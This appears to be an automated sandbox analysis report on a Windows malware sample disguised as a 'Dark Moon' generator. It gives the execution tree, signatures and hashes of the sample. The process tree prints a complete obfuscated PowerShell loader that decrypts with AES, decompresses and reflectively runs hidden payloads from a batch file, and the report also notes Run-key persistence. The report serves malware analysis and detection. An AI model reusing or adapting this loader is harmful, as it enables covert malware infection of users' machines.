Analysis

  • max time kernel
    359s
  • max time network
    360s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    02/06/2024, 15:18

General

  • Target
    darkmoon v2/start.bat
  • Size 82B
  • Sample240602-spp86agd23
  • SHA256 c07fbd6c49d83eb8399435f9972551d2c73a29e5914a25640639191d187dd80d
  • MD5 SHA1 SHA512
Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 13 IoCs
  • Runs ping.exe 1 TTPs 17 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\start.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2268
    • C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\DarkMoon_Gen.exe
      DarkMoon_Gen.exe
      2⤵
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:2960
      • C:\Windows\system32\cmd.exe
        cmd /c "Dark Moon gen.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2616
        • C:\Windows\system32\chcp.com
          chcp 65001
          4⤵
            PID:2524
          • C:\Windows\system32\timeout.exe
            timeout 2
            4⤵
            • Delays execution with timeout.exe
            PID:2996
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2536
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2636
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2728
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2796
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2384
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2468
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2608
          • C:\Windows\system32\PING.EXE
            ping localhost -n 1
            4⤵
            • Runs ping.exe
            PID:2704
          • C:\Windows\system32\PING.EXE
            ping discord.com
            4⤵
            • Runs ping.exe
            PID:2436
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:2876
          • C:\Windows\system32\PING.EXE
            ping www.paysafecard.com
            4⤵
            • Runs ping.exe
            PID:1528
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:320
          • C:\Windows\system32\PING.EXE
            ping www.amazon.com
            4⤵
            • Runs ping.exe
            PID:1200
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:2680
          • C:\Windows\system32\PING.EXE
            ping play.google.com
            4⤵
            • Runs ping.exe
            PID:2692
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:1196
          • C:\Windows\system32\PING.EXE
            ping store.steampowered.com
            4⤵
            • Runs ping.exe
            PID:2016
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:1624
          • C:\Windows\system32\PING.EXE
            ping netflix.com
            4⤵
            • Runs ping.exe
            PID:1956
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:2216
          • C:\Windows\system32\PING.EXE
            ping www.spotify.com
            4⤵
            • Runs ping.exe
            PID:2008
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:820
          • C:\Windows\system32\PING.EXE
            ping www.xbox.com
            4⤵
            • Runs ping.exe
            PID:876
          • C:\Windows\system32\timeout.exe
            timeout 0
            4⤵
            • Delays execution with timeout.exe
            PID:1316
          • C:\Windows\system32\timeout.exe
            timeout 1
            4⤵
            • Delays execution with timeout.exe
            PID:1320
          • C:\Windows\system32\timeout.exe
            timeout 2
            4⤵
            • Delays execution with timeout.exe
            PID:2300
          • C:\Windows\system32\timeout.exe
            timeout 2
            4⤵
            • Delays execution with timeout.exe
            PID:2112
          • C:\Windows\system32\PING.EXE
            ping www.google.com
            4⤵
            • Runs ping.exe
            PID:2808
          • C:\Windows\system32\timeout.exe
            timeout 2
            4⤵
            • Delays execution with timeout.exe
            PID:1136
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K AyBYMBjlvU.bat
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2968
        • C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe
          "AyBYMBjlvU.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2496

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          Dark Moon gen.bat

          • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Dark Moon gen.bat
          • Size 35KB
          • SHA256 2fa64c968a0fe02d626a225ecc2e1e4a5185f73d70a0557f32f2bbea76361005
          • MD5 SHA1 SHA512 SSDEEP

          AyBYMBjlvU.bat.exe

          • Path C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe
          • Size 462KB
          • SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
          • MD5 SHA1 SHA512 SSDEEP

          memory/2496-8-0x000000001B450000-0x000000001B732000-memory.dmp

          memory/2496-9-0x0000000002790000-0x0000000002798000-memory.dmp